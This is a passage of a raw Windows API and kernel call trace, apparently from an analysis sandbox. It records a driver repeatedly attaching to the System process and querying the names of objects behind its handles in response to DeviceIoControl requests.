Handle=0xffffffff800008bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800390a7d0, HandleInformation=0x0) returned 0x0 [0111.131] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.131] PsReleaseProcessExitSynchronization () returned 0x2 [0111.131] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.131] ObQueryNameString (in: Object=0xfffffa800390a7d0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.131] ObfDereferenceObject (Object=0xfffffa800390a7d0) returned 0x2 [0111.131] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.131] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.131] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.131] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.131] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.131] PsAcquireProcessExitSynchronization () returned 0x0 [0111.131] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.131] ObReferenceObjectByHandle (in: Handle=0xffffffff800008c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002502240, HandleInformation=0x0) returned 0x0 [0111.131] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.131] PsReleaseProcessExitSynchronization () returned 0x2 [0111.131] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.131] ObQueryNameString (in: Object=0xfffffa8002502240, ObjectNameInfo=0xfffffa80037b8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037b8044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.131] ObfDereferenceObject (Object=0xfffffa8002502240) returned 0x2 [0111.131] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.131] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.131] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.131] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.131] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.131] PsAcquireProcessExitSynchronization () returned 0x0 [0111.131] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.131] ObReferenceObjectByHandle (in: Handle=0xffffffff800008d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80026e1050, HandleInformation=0x0) returned 0x0 [0111.131] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.131] PsReleaseProcessExitSynchronization () returned 0x2 [0111.131] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.131] ObQueryNameString (in: Object=0xfffffa80026e1050, ObjectNameInfo=0xfffffa800280d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800280d044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.131] ObfDereferenceObject (Object=0xfffffa80026e1050) returned 0x2 [0111.131] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.131] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.132] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.132] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.132] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.132] PsAcquireProcessExitSynchronization () returned 0x0 [0111.132] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.132] ObReferenceObjectByHandle (in: Handle=0xffffffff800008dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80022efa40, HandleInformation=0x0) returned 0x0 [0111.132] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.132] PsReleaseProcessExitSynchronization () returned 0x2 [0111.132] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.132] ObQueryNameString (in: Object=0xfffffa80022efa40, ObjectNameInfo=0xfffffa80037b0704, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037b0704, ReturnLength=0xfffff88005590550) returned 0x0 [0111.132] ObfDereferenceObject (Object=0xfffffa80022efa40) returned 0x2 [0111.132] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.132] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.132] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.132] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.132] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.132] PsAcquireProcessExitSynchronization () returned 0x0 [0111.132] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.132] ObReferenceObjectByHandle (in: Handle=0xffffffff800008f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800254c900, HandleInformation=0x0) returned 0x0 [0111.132] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.132] PsReleaseProcessExitSynchronization () returned 0x2 [0111.132] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.132] ObQueryNameString (in: Object=0xfffffa800254c900, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.132] ObfDereferenceObject (Object=0xfffffa800254c900) returned 0x2 [0111.132] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.132] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.132] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.132] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.132] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.132] PsAcquireProcessExitSynchronization () returned 0x0 [0111.132] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.132] ObReferenceObjectByHandle (in: Handle=0xffffffff800008fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800b97c3f0, HandleInformation=0x0) returned 0x0 [0111.132] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.132] PsReleaseProcessExitSynchronization () returned 0x2 [0111.133] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.133] ObQueryNameString (in: Object=0xfffffa800b97c3f0, ObjectNameInfo=0xfffffa80023ac7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80023ac7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.133] ObfDereferenceObject (Object=0xfffffa800b97c3f0) returned 0x2 [0111.133] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.133] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.133] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.133] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.133] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.133] PsAcquireProcessExitSynchronization () returned 0x0 [0111.133] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.133] ObReferenceObjectByHandle (in: Handle=0xffffffff80000908, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80024f8050, HandleInformation=0x0) returned 0x0 [0111.133] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.133] PsReleaseProcessExitSynchronization () returned 0x2 [0111.133] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.133] ObQueryNameString (in: Object=0xfffffa80024f8050, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.133] ObfDereferenceObject (Object=0xfffffa80024f8050) returned 0x2 [0111.133] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.133] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.133] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.133] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.133] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.133] PsAcquireProcessExitSynchronization () returned 0x0 [0111.133] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.134] ObReferenceObjectByHandle (in: Handle=0xffffffff80000910, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800e5ccb60, HandleInformation=0x0) returned 0x0 [0111.134] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.134] PsReleaseProcessExitSynchronization () returned 0x2 [0111.134] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.134] ObQueryNameString (in: Object=0xfffffa800e5ccb60, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.134] ObfDereferenceObject (Object=0xfffffa800e5ccb60) returned 0x2 [0111.134] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.134] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.134] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.134] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.134] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.134] PsAcquireProcessExitSynchronization () returned 0x0 [0111.134] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.134] ObReferenceObjectByHandle (in: Handle=0xffffffff80000918, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80023e0860, HandleInformation=0x0) returned 0x0 [0111.134] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.134] PsReleaseProcessExitSynchronization () returned 0x2 [0111.134] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.134] ObQueryNameString (in: Object=0xfffffa80023e0860, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.134] ObfDereferenceObject (Object=0xfffffa80023e0860) returned 0x2 [0111.134] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.134] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.134] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.134] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.134] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.134] PsAcquireProcessExitSynchronization () returned 0x0 [0111.134] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.134] ObReferenceObjectByHandle (in: Handle=0xffffffff80000924, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002350860, HandleInformation=0x0) returned 0x0 [0111.134] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.134] PsReleaseProcessExitSynchronization () returned 0x2 [0111.134] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.134] ObQueryNameString (in: Object=0xfffffa8002350860, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.134] ObfDereferenceObject (Object=0xfffffa8002350860) returned 0x2 [0111.134] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.135] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.135] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.135] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.135] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.135] PsAcquireProcessExitSynchronization () returned 0x0 [0111.135] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.135] ObReferenceObjectByHandle (in: Handle=0xffffffff80000934, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800dea31f0, HandleInformation=0x0) returned 0x0 [0111.135] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.135] PsReleaseProcessExitSynchronization () returned 0x2 [0111.135] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.135] ObQueryNameString (in: Object=0xfffffa800dea31f0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.135] ObfDereferenceObject (Object=0xfffffa800dea31f0) returned 0x2 [0111.135] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.135] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.135] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.135] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.135] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.135] PsAcquireProcessExitSynchronization () returned 0x0 [0111.135] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.135] ObReferenceObjectByHandle (in: Handle=0xffffffff80000938, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80024f8b60, HandleInformation=0x0) returned 0x0 [0111.135] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.135] PsReleaseProcessExitSynchronization () returned 0x2 [0111.135] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.135] ObQueryNameString (in: Object=0xfffffa80024f8b60, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.135] ObfDereferenceObject (Object=0xfffffa80024f8b60) returned 0x2 [0111.135] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.136] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.136] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.136] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.136] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.136] PsAcquireProcessExitSynchronization () returned 0x0 [0111.136] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.136] ObReferenceObjectByHandle (in: Handle=0xffffffff8000093c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80019d8400, HandleInformation=0x0) returned 0x0 [0111.136] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.136] PsReleaseProcessExitSynchronization () returned 0x2 [0111.136] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.136] ObQueryNameString (in: Object=0xfffffa80019d8400, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.136] ObfDereferenceObject (Object=0xfffffa80019d8400) returned 0x2 [0111.136] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.136] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.136] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.136] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.136] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.136] PsAcquireProcessExitSynchronization () returned 0x0 [0111.136] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.136] ObReferenceObjectByHandle (in: Handle=0xffffffff80000950, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800200c050, HandleInformation=0x0) returned 0x0 [0111.136] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.136] PsReleaseProcessExitSynchronization () returned 0x2 [0111.136] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.136] ObQueryNameString (in: Object=0xfffffa800200c050, ObjectNameInfo=0xfffffa800393e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800393e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.136] ObfDereferenceObject (Object=0xfffffa800200c050) returned 0x2 [0111.136] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.136] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.136] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.136] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.136] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.136] PsAcquireProcessExitSynchronization () returned 0x0 [0111.136] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.136] ObReferenceObjectByHandle (in: Handle=0xffffffff80000958, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80019e2e60, HandleInformation=0x0) returned 0x0 [0111.136] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.137] PsReleaseProcessExitSynchronization () returned 0x2 [0111.137] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.137] ObQueryNameString (in: Object=0xfffffa80019e2e60, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.137] ObfDereferenceObject (Object=0xfffffa80019e2e60) returned 0x2 [0111.137] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.137] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.137] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.137] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.137] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.137] PsAcquireProcessExitSynchronization () returned 0x0 [0111.137] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.137] ObReferenceObjectByHandle (in: Handle=0xffffffff80000970, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80037f5890, HandleInformation=0x0) returned 0x0 [0111.137] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.137] PsReleaseProcessExitSynchronization () returned 0x2 [0111.137] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.137] ObQueryNameString (in: Object=0xfffffa80037f5890, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.137] ObfDereferenceObject (Object=0xfffffa80037f5890) returned 0x2 [0111.137] IofCompleteRequest (Irp=0xfffffa800211c1b0, 